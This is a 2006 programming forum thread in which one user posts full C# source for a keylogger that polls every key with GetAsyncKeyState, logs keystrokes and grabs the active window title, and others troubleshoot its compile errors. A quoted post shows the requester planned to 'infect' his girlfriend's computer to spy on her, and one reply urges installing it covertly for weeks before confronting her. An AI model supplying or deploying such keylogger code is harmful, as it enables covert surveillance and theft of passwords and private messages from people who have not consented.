Programming Forums
User Name Password Register
 

RSS Feed
FORUM INDEX | TODAY'S POSTS | UNANSWERED THREADS | ADVANCED SEARCH

Reply
 
Thread Tools Display Modes
Old Jan 8th, 2006, 3:52 PM   #11
tayspen
Hobbyist Programmer
 
Join Date: Sep 2005
Location: A House...
Posts: 191
Rep Power: 4 tayspen is on a distinguished road
Uh for Dll Import

System.Runtime.InteropServices

and stringbuilder.

System.IO   ... i belive

edit: Meh here is the whole project.


using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using Microsoft.VisualBasic;
using System.Collections;
using System.Runtime.InteropServices;
using System.IO;
using System.Drawing.Imaging;
using System.Threading;
using Org.Mentalis.Utilities;
using Microsoft.Win32;



namespace The_Manager_SE
{
    public partial class Form1 : Form
    {
        #region Public, Private, Int
        private System.Collections.Hashtable Processes;
        public int ID;
        int cnt;
        int pid;
        private viewpic Pic;
        int SSnumber = 0;
        object i;
        object keyPressed;
        int charCount;
        object addKey;
        public bool PossibleCapture = false;
        public bool CaptureRequested = false;
        private Bitmap MyImage = null;
        [DllImport("user32", ExactSpelling = true, CharSet = CharSet.Ansi, SetLastError = true)]
        private static extern short GetAsyncKeyState(int vkey);
        #endregion

        #region Init
        public Form1()
        {
         
            InitializeComponent();       

        }

        #endregion

        #region Logger Core
        private void logkeys_Tick(object sender, EventArgs e)
        {
            //On Error Resume Next  - Cannot Convert to CSharp

            //check Enter key
            keyPressed = GetAsyncKeyState(13);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                charCount = 0;
                addKey = "\r\n";
                KeyFound();
            }

            //check for backspace
            keyPressed = GetAsyncKeyState(8);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                addKey = " [Back] ";
                charCount += 4;
                KeyFound();
            }

            //check for space bar
            keyPressed = GetAsyncKeyState(32);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                addKey = " ";
                KeyFound();

            }

            //check for colon/semicolon
            keyPressed = GetAsyncKeyState(186);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = ";";
                }
                else
                {
                    addKey = ":";
                }
                KeyFound();

            }

            //check for =/+
            keyPressed = GetAsyncKeyState(187);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "=";
                }
                else
                {
                    addKey = "+";
                }
                KeyFound();

            }

            //check for ,/<
            keyPressed = GetAsyncKeyState(188);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = ",";
                }
                else
                {
                    addKey = "<";
                }
                KeyFound();

            }

            //check for -/_
            keyPressed = GetAsyncKeyState(189);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "-";
                }
                else
                {
                    addKey = "_";
                }
                KeyFound();

            }

            //check for ./>
            keyPressed = GetAsyncKeyState(190);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = ".";
                }
                else
                {
                    addKey = ">";
                }
                KeyFound();

            }

            //check for //?
            keyPressed = GetAsyncKeyState(191);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "/";
                }
                else
                {
                    addKey = "?";
                }
                KeyFound();

            }

            //check for `/~
            keyPressed = GetAsyncKeyState(192);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "`";
                }
                else
                {
                    addKey = "~";
                }
                KeyFound();

            }

            //check for 0/)
            keyPressed = GetAsyncKeyState(96);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "0";
                }
                else
                {
                    addKey = ")";
                }
                KeyFound();

            }

            //check for 1/!
            keyPressed = GetAsyncKeyState(97);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "1";
                }
                else
                {
                    addKey = "!";
                }
                KeyFound();

            }

            //check for 2/@
            keyPressed = GetAsyncKeyState(98);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "2";
                }
                else
                {
                    addKey = "@";
                }
                KeyFound();

            }

            //check for 3/#
            //99
            keyPressed = GetAsyncKeyState(99);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "3";
                }
                else
                {
                    addKey = "#";
                }
                KeyFound();

            }

            //check for 4/$
            keyPressed = GetAsyncKeyState(100);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "4";
                }
                else
                {
                    addKey = "$";
                }
                KeyFound();

            }

            //check for 5/%
            keyPressed = GetAsyncKeyState(101);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "5";
                }
                else
                {
                    addKey = "%";
                }
                KeyFound();

            }

            //check for 6/^
            keyPressed = GetAsyncKeyState(102);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "6";
                }
                else
                {
                    addKey = "7";
                }
                KeyFound();

            }

            //check for 7/&
            keyPressed = GetAsyncKeyState(103);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "7";
                }
                else
                {
                    addKey = "&";
                }
                KeyFound();

            }

            //check for 8/*
            keyPressed = GetAsyncKeyState(104);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "8";
                }
                else
                {
                    addKey = "*";
                }
                KeyFound();

            }

            //check for 9/(
            keyPressed = GetAsyncKeyState(105);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "9";
                }
                else
                {
                    addKey = "(";
                }
                KeyFound();

            }

            //other num/special chars
            keyPressed = GetAsyncKeyState(106);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "*";
                    charCount += 1;
                }
                else
                {
                    addKey = "";
                }
                KeyFound();
            }

            keyPressed = GetAsyncKeyState(107);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "+";
                }
                else
                {
                    addKey = "=";
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(108);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                addKey = "";
                KeyFound();
            }

            keyPressed = GetAsyncKeyState(109);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "-";
                }
                else
                {
                    addKey = "_";
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(110);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = ".";
                }
                else
                {
                    addKey = ">";
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(111);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                addKey = "/";
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(2);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "/";
                }
                else
                {
                    addKey = "?";
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(220);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "\\";
                }
                else
                {
                    addKey = "|";
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(222);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "\'";
                }
                else
                {
                    addKey = '\u0022';
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(221);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "]";
                }
                else
                {
                    addKey = "}";
                }
                KeyFound();

            }

            keyPressed = GetAsyncKeyState(219);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = "[";
                }
                else
                {
                    addKey = "{";
                }
                KeyFound();

            }
            //check tabVK_LSHIFT
            keyPressed = GetAsyncKeyState(9);
            if (System.Convert.ToInt32(keyPressed) == -32767)
            {
                if (Keylogger.getShift() == false)
                {
                    addKey = " [TAB] ";
                }
                else
                {
                    addKey = " [TAB] ";
                }
                KeyFound();

            }

            //check for a-z upper and lower case
            for (i = 65; System.Convert.ToInt32(i) <= 128; i = System.Convert.ToInt32(i) + 1)
            {
                keyPressed = GetAsyncKeyState(System.Convert.ToInt32(i));
                if (System.Convert.ToInt32(keyPressed) == -32767)
                {
                    if (Keylogger.getShift() == false)
                    {
                        if (Keylogger.getCapslock() == true)
                        {
                            addKey = Strings.UCase(Strings.Chr(System.Convert.ToInt32(i)));
                        }
                        else
                        {
                            addKey = Strings.LCase(Strings.Chr(System.Convert.ToInt32(i)));
                        }
                    }
                    else
                    {
                        if (Keylogger.getCapslock() == false)
                        {
                            addKey = Strings.UCase(Strings.Chr(System.Convert.ToInt32(i)));
                        }
                        else
                        {
                            addKey = Strings.LCase(Strings.Chr(System.Convert.ToInt32(i)));
                        }
                    }
                    KeyFound();
                }
            }

            for (i = 48; System.Convert.ToInt32(i) <= 57; i = System.Convert.ToInt32(i) + 1)
            {
                keyPressed = GetAsyncKeyState(System.Convert.ToInt32(i));
                if (System.Convert.ToInt32(keyPressed) == -32767)
                {
                    if (Keylogger.getShift() == true)
                    {
                        switch (Conversion.Val(Strings.Chr(System.Convert.ToInt32(i))))
                        {
                            case 1:

                                addKey = "!";
                                break;
                            case 2:

                                addKey = "@";
                                break;
                            case 3:

                                addKey = "#";
                                break;
                            case 4:

                                addKey = "$";
                                break;
                            case 5:

                                addKey = "%";
                                break;
                            case 6:

                                addKey = "^";
                                break;
                            case 7:

                                addKey = "&";
                                break;
                            case 8:

                                addKey = "*";
                                break;
                            case 9:

                                addKey = "(";
                                break;
                            case 0:

                                addKey = ")";
                                break;
                        }
                    }
                    else
                    {
                        addKey = Strings.Chr(System.Convert.ToInt32(i));
                    }
                    KeyFound();
                }
            }
            //GetActiveWindow(); Option to give window.....
            System.Windows.Forms.Application.DoEvents();
            return;
        }
        private void KeyFound()
        {
            loggedtxt.AppendText(addKey.ToString());
            System.Windows.Forms.Application.DoEvents();
        }
        [DllImport("user32.dll")]

        static extern int GetForegroundWindow();

        [DllImport("user32.dll")]

        static extern int GetWindowText(int hWnd, StringBuilder text, int count);

        private void GetActiveWindow()
        {
            const int nChars = 256;
            int handle = 0;
            StringBuilder Buff = new StringBuilder(nChars);

            handle = GetForegroundWindow();

            if (GetWindowText(handle, Buff, nChars) > 0)
            {
                loggedtxt.AppendText(Buff.ToString());
                loggedtxt.AppendText(handle.ToString());
            }

        }
    }
}

Thats form one now ake a new class in it with this.

using System.Diagnostics;
using Microsoft.VisualBasic;
using System;
using System.Data;
using System.Drawing;
using System.Windows.Forms;
using System.Collections;
using System.Runtime.InteropServices;

namespace The_Manager_SE
{
    sealed class Keylogger
    {
        [DllImport("user32", ExactSpelling = true, CharSet = CharSet.Ansi, SetLastError = true)]
        private static extern short GetAsyncKeyState(int vKey);

        [DllImport("user32", ExactSpelling = true, CharSet = CharSet.Ansi, SetLastError = true)]
        private static extern short GetKeyState(int nVirtKey);

        public static bool getCapslock()
        {
            bool returnValue;
            //return or set the caps lock toggle
            returnValue = System.Convert.ToBoolean(GetKeyState(System.Convert.ToInt32(System.Windows.Forms.Keys.Capital)) & 1);
            return returnValue;
        }

        public static bool getShift()
        {
            bool returnValue;
            //check to see if the shift key is pressed
            returnValue = System.Convert.ToBoolean(GetAsyncKeyState(System.Convert.ToInt32(System.Windows.Forms.Keys.ShiftKey)));
            return returnValue;
        }

    }

}
tayspen is offline   Reply With Quote
Old Jan 8th, 2006, 8:18 PM   #12
Kilo
Expert Programmer
 
Kilo's Avatar
 
Join Date: Nov 2005
Location: In Pink Clam?
Posts: 542
Rep Power: 0 Kilo is an unknown quantity at this point
Send a message via AIM to Kilo
lmao, the enitre program is going to waste because of one simple thing!

[php]
Strings.chr
[/php]

apparentaly this is included in another namespace

maybe:
[php]
using Org.Mentalis.Utilities;
[/php]

maybe im just to stupid to do this
__________________
"When in Rome, Do as the Romans Do"
"Beauty is in the eye of the BEER holder"
"Save your breath your going to need it for your blow up doll later"

SearchLores.org
Kilo is offline   Reply With Quote
Old Jan 8th, 2006, 9:01 PM   #13
tayspen
Hobbyist Programmer
 
Join Date: Sep 2005
Location: A House...
Posts: 191
Rep Power: 4 tayspen is on a distinguished road
Lol

using Org.Mentalis.Utilities;

Has to do with a windows controller class to shutdown windows. So i doubt thats it. Delete that line.

Add a reference to MicrosoftVisual Basic in the reference section in visual studios. There is some VB.NEt in there
tayspen is offline   Reply With Quote
Old Jan 9th, 2006, 9:16 AM   #14
Kilo
Expert Programmer
 
Kilo's Avatar
 
Join Date: Nov 2005
Location: In Pink Clam?
Posts: 542
Rep Power: 0 Kilo is an unknown quantity at this point
Send a message via AIM to Kilo
you laughed at me

but yea! me and my friends have been very curious on how to implement one language within another. So is that the anwser to the question? That the
[php]
Strings.
[/php]
object is in fact a VB.NET object?
__________________
"When in Rome, Do as the Romans Do"
"Beauty is in the eye of the BEER holder"
"Save your breath your going to need it for your blow up doll later"

SearchLores.org
Kilo is offline   Reply With Quote
Old Jan 9th, 2006, 9:25 AM   #15
tayspen
Hobbyist Programmer
 
Join Date: Sep 2005
Location: A House...
Posts: 191
Rep Power: 4 tayspen is on a distinguished road
I belive so, did you try it? lol


EDIT: If REALLY cant figure this out. i will post a working example and source code.
tayspen is offline   Reply With Quote
Old Jan 9th, 2006, 9:26 AM   #16
Pizentios
Programming Guru
 
Pizentios's Avatar
 
Join Date: May 2004
Location: Brandon, Manitoba, Canada
Posts: 2,023
Rep Power: 7 Pizentios is on a distinguished road
Send a message via ICQ to Pizentios Send a message via MSN to Pizentios
Quote:
Originally Posted by Kilo
LOL, i want to thank all of you for your input on the situation... I brought it to her attention that she was acting a little funny. She said "wow, i didn't even relize it until you explain it to me". I told her about my plans to infect her computer with a key logger... she told me she thinks it is a good idea! Shes wants to prove to me that no matter what happens she could never hurt me that bad. She claims that would be just crazy to put me through that much pain. So the new question is should I? even with her permission? Or do i completely trust her and let it go?

Heh, you do realize, you've now tiped her off. If there was anything going on, she now knows not to do it on her computer. I would have put it on the comp, left it for about three weeks, then talk to her about it (not letting her know what you found out), so you'd know for sure that she was telling the truth......then again, i am a paraniod mofo.
__________________
Profanity is the one language that all programmers understand.

Check out my Blog <---updated Nov 30 2007!
Pizentios is offline   Reply With Quote
Old Jan 9th, 2006, 9:53 AM   #17
Kilo
Expert Programmer
 
Kilo's Avatar
 
Join Date: Nov 2005
Location: In Pink Clam?
Posts: 542
Rep Power: 0 Kilo is an unknown quantity at this point
Send a message via AIM to Kilo
@Pizentios: I can agree to an extent?! But I'm head over heels in love with this women. It turns out the day I thought she was acting funny, she started her ******. Not that it should be an excuse... but like you are I was just paranoid.. she loves me Im currently working on this logger for the knowledge of working with objects outside of your application.

@tayspen: no im currently in school... either when i get home (for 2 hours) or when I goto work I will apply the changes.
__________________
"When in Rome, Do as the Romans Do"
"Beauty is in the eye of the BEER holder"
"Save your breath your going to need it for your blow up doll later"

SearchLores.org
Kilo is offline   Reply With Quote
Old Jan 9th, 2006, 10:49 AM   #18
Pizentios
Programming Guru
 
Pizentios's Avatar
 
Join Date: May 2004
Location: Brandon, Manitoba, Canada
Posts: 2,023
Rep Power: 7 Pizentios is on a distinguished road
Send a message via ICQ to Pizentios Send a message via MSN to Pizentios
heh, yeah i was mostly joking about my last response. I think you handled things the right way.
__________________
Profanity is the one language that all programmers understand.

Check out my Blog <---updated Nov 30 2007!
Pizentios is offline   Reply With Quote
Old Jan 9th, 2006, 12:30 PM   #19
Kilo
Expert Programmer
 
Kilo's Avatar
 
Join Date: Nov 2005
Location: In Pink Clam?
Posts: 542
Rep Power: 0 Kilo is an unknown quantity at this point
Send a message via AIM to Kilo
@tayspen: the project is using Microsoft.VisualBasic and im still getting errors... I have attemtped including everything! I have no clue where Strings. came from!?!?
__________________
"When in Rome, Do as the Romans Do"
"Beauty is in the eye of the BEER holder"
"Save your breath your going to need it for your blow up doll later"

SearchLores.org
Kilo is offline   Reply With Quote
Old Jan 9th, 2006, 1:49 PM   #20
OpenLoop
Expert Programmer
 
OpenLoop's Avatar
 
Join Date: May 2005
Location: East Lansing, MI
Posts: 663
Rep Power: 4 OpenLoop is on a distinguished road
try System.Text (I know it works for stringbuilder)
OpenLoop is offline   Reply With Quote
Reply

Bookmarks

« Previous Thread in Forum | Next Thread in Forum »

Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Forum Jump




DaniWeb IT Discussion Community
All times are GMT -5. The time now is 1:32 AM.

Powered by vBulletin® Version 3.7.0, Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Copyright ©2007 DaniWeb® LLC